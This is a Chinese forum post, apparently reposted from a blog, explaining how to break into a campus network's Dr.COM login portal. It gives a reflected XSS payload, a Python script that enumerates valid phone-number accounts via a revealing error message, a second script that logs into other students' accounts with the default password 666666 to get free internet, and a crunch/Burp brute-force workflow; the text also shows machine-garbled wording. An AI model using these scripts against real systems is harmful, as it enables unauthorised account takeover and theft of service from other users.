曹旭辉 发表于 2024-9-15 13:40:31

如何破校园网

下面会介绍两种破解方法
下面介绍的方法是用于账号和暗码知道二者其一才行,假如二者都不知道,那就你费些时间了,这我就不多说了,懂得都懂…
我先说一下破解思绪:
其实很简单,无非就是跑字典,我们第一步就是要先天生字典,第二步去进行测试,就是类似于正凡人登录一样,只不过我这是用脚本跑的,更快。
目次
利用python脚本破解
利用kali中的burp进行破解
利用python脚本破解

简介

前端做的不是很好,前端UI结构写的较差,后端接口也不太严谨,能够透露出些信息轻易被利用,在找弊端的过程中发现一个反射型的xss,用处不是很大究竟要受害者点击才华执行恶意代码,我找到的这些东西和思绪都总结在下面。
反射型XSS

![](https://img-
blog.csdnimg.cn/img_convert/089920a8b711af789dcc70a14446b034.png)
http://10.100.10.100:801/eportal/portal/mac/unbind?callback=<script>alert("xss");</script>
一个危害不大的反射型XSS,下面就是文章的主题,如何蹭网!
认证网址

http://10.100.10.100// 用户认证
http://10.100.10.3:8080/Self/login// 用户后台登录
http://10.100.10.100:9002//注销登录
http://10.100.10.100:801// 主后台管理
分析认证

![](https://img-
blog.csdnimg.cn/img_convert/984efbdb5073a9b963ffc79b3917a3f5.png)
蹭网原理

蹭网的方法有许多,比力流行的是基于端口(可以自行百度),还有就是通过改主机MAC地点(已经上线了的主机MAC,把自己MAC的改成他的,那么两个能够同时上网,在这里会有一点小瑕疵,流量一下你这一下他那,总的来说是可以上网的)。
![](https://img-
blog.csdnimg.cn/img_convert/721153ae970b0b717c565a28059c5728.png)
可以发现我随便输入一个不存在的账号加一个错误的暗码,登录返回的信息居然是账号不存在?
不得了,通过上面的信息完全就可以跑手机号,一想到联通手机号开头是 130、131、132、155、156、185、186、145、176。
背面的数可以进行程序进行猜,一样寻常来说安全意识不强的人不会拿到账号去更改暗码的。
以是轻易留下弱口令,校园网给的暗码是6个6 或 1~6 只要拿到账号那岂不是就能登上去了?废话不多说开始写代码。。。
   import requests
import re
import itertools
import multiprocessing
import os


url = "http://10.100.10.100/drcom/login"     

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36’
}
def checkUserId(userId):
    params = {
      "callback": "dr1003",
      "DDDDD": f"{userId}@unicom",
      "upass": "1",
      "0MKKey": "000",
      "R1": "0",
      "R2": "",
      "R3": "0",
      "R6": "0",
      "para": "00",
      "v6ip": "",
      "terminal_type": "1",
      "lang": "zh-cn",
      "jsVersion": "4.2",
      "v": "6687",
      "lang": "zh"
    }
    try:
      res = requests.get(url, params=params, headers=headers).text
      data = re.findall(r'"msga":"(.*?)"', res)
      if data != "userid error1":
            with open(fr"{os.getcwd()}\userId.txt", "a") as f:
                f.writelines(userId + "\n")
            print(userId, "√")
      else:
            print(userId, "x")
    except Exception as e:
      print(f"Error for user ID {userId}: {e}")
      return e


if __name__ == '__main__':
    results = []
    prefix_list = ["1767399"]# Create numbers list        #“1767399”
可以随便改
num_processes = 2 # Create 2 multiprocesses
    pool = multiprocessing.Pool(num_processes)
    for suffix in itertools.product(range(0, 10), repeat=4):
      suffix_str = ''.join(map(str, suffix))
      for prefix in prefix_list:
            user_id = f"{prefix}{suffix_str}"
            result = pool.apply_async(checkUserId, args=(user_id,))
            results.append(result)

    # Wait for all processes to finish
    pool.close()
    pool.join()

    # Print any exceptions that occurred during execution
    for result in results:
      if result.get() is not None:
            print(result.get())
代码运行

这里我只写了Python3的脚本,就不消其他语言了,做这种事照旧Python用的方便些。
![](https://img-
blog.csdnimg.cn/img_convert/ba2c5fba74bd9203b8926240f4f9ec74.png)
运行结果

![](https://img-
blog.csdnimg.cn/img_convert/56ad6b127c8b2aaa6472165df4224532.png)
我运行一半就不跑了究竟不是来搞粉碎的,先看看生存的手机号有610多个手机号,效果还可以。
![](https://img-
blog.csdnimg.cn/img_convert/18ea3ae64b3199e48ed0efe50123f3a2.png)
随便拿个账号试试 暗码6个6 和我想得一样 登录乐成!!
![](https://img-
blog.csdnimg.cn/img_convert/03e46827ab114d26c467c22e0cde158b.png)
其他的账号都是一样,可以发现他现,在上网就不打搅他了。
安全总结

1.前端的错误提示不要给的太明显,可以写成这样 “账号或者暗码错误”。
2.对账号暗码的加密,虽然可以通过JS逆向出来但也可以增长安全性。
3.对前端错误次数做限制再加上验证码,虽然可以破解但也可以增长安全性。
4.当你拿到账号时登录后请先修改强暗码,防止弱口令登录。
危害总结

1.登录后别人可以利用您的网络 可以等你下线再利用或者直接利用你的账号上网。
2.可以对你进行断网利用,危害校园网较大影响网络体验导致投诉。
3.可以修改你的暗码,由于后台更改暗码必要身份证,但并没有完善。
4.账号并没有绑定身份证,导致只能去办理校园网那边更改较贫苦。
修改暗码

可以发现假如暗码被改了,自己是无法从表面修改自己的暗码的只能去办理校园网那边进行修改。
![](https://img-
blog.csdnimg.cn/img_convert/28d38a2b2f111fd0cd2682c8685d61cd.png)
修改暗码
修改无效
![](https://img-
blog.csdnimg.cn/img_convert/b4204da388f4bddbe58cb42f6d12bae3.png)
Wifi共享思绪

既然都有账号暗码,那我岂不是可以免费上网了,由于最后一个学期了就没办校园卡,
于是写了个遍历判定假如在上网的用户就不打搅了,只连不在上网的用户这样就好了。
   import requests
import re

url = "http://10.100.10.100/drcom/login"

with open("userId.txt", "r") as f:
    for line in f.readlines():
      user_id = line.strip()
      params = {
            "callback": "dr1003",
            "DDDDD": f"{user_id}@unicom",
            "upass": "666666",
            "0MKKey": "123456",
            "R1": "0",
            "R2": "",
            "R3": "0",
            "R6": "0",
            "para": "00",
            "v6ip": "",
            "terminal_type": "1",
            "lang": "zh-cn",
            "jsVersion": "4.2",
            "v": "6687",
            "lang": "zh"
      }
      res = requests.get(url, params=params)
      cont = re.findall(r'{"result":(.*?),', res.text)
      print(cont)
      if cont and cont == "1":
            print(f"{user_id}, 登录成功~")
            break
这样就可以破解校园网了,下面介绍另一种方法。
利用kali中的burp进行破解

kali想必大家都知道吧,里面的工具burp我就不跟大家过多叙述了,下面直接进入主题(我这里是知道暗码,不知账号得环境,假如你们的是知道账号,不知暗码也可以用以下方法)
起首我们先天生字典
https://i-blog.csdnimg.cn/blog_migrate/aac655b88d6edcfdab58ce7ab7d81b14.png
这里的crunch是kali上的一个工具,-t表示%是数字,前面两个11分别表示的是天生的数字最短是11位,最长也是11位,>>是将天生的字典生存在tjy.txt中。
天生字典的方法还有许多,当平台不让发,以是你们去网上找找啦
然后我们对校园网站进行抓包,如下
https://i-blog.csdnimg.cn/blog_migrate/28faaf50214cebc3c358352fb6a88028.png
https://i-blog.csdnimg.cn/blog_migrate/d98e0c672840caf8e020cad83607fa43.png
https://i-blog.csdnimg.cn/blog_migrate/7c904ef157067044ac3a00b189af7588.png
https://i-blog.csdnimg.cn/blog_migrate/f5fd042465128d1b0137721406f1aaa2.png
开始破解了
看响应码和长度,有不同的话进去看响应包
以上就是klai利用burp破解的过程
希望大家喜欢!!!
网络安全工程师(白帽子)企业级学习路线

第一阶段:安全根本(入门)

https://i-blog.csdnimg.cn/blog_migrate/1755ef088621401e88ff8e9a3765c82a.png
第二阶段:Web渗透(初级网安工程师)

https://i-blog.csdnimg.cn/blog_migrate/1a559d16b181d05d8e89b2a183afe9e2.png
第三阶段:进阶部门(中级网络安全工程师)

https://i-blog.csdnimg.cn/blog_migrate/485e37a16cc50b5a456f9f33fae96a53.png
假如你对网络安全入门感爱好,那么你必要的话可以点击这里
页: [1]
查看完整版本: 如何破校园网